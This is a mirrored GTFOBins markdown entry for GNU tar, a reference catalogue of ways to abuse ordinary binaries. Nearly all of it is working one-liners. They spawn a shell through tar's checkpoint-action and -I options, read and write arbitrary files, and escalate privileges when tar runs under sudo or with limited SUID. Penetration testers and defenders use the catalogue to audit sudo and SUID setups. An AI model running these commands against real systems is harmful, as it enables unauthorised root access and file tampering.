mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
31 lines
1.1 KiB
Markdown
31 lines
1.1 KiB
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
|
- description: This only works for GNU tar.
|
|
code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
|
|
- description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
|
|
code: |
|
|
TF=$(mktemp)
|
|
echo '/bin/sh 0<&1' > "$TF"
|
|
tar cf "$TF.tar" "$TF"
|
|
tar xf "$TF.tar" --to-command sh
|
|
rm "$TF"*
|
|
file-write:
|
|
- description: This only works for GNU tar.
|
|
code: |
|
|
LFILE=file_to_write
|
|
TF=$(mktemp)
|
|
echo DATA > "$TF"
|
|
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
|
|
file-read:
|
|
- description: This only works for GNU tar.
|
|
code: |
|
|
LFILE=file_to_read
|
|
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
|
|
sudo:
|
|
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
|
limited-suid:
|
|
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
|
---
|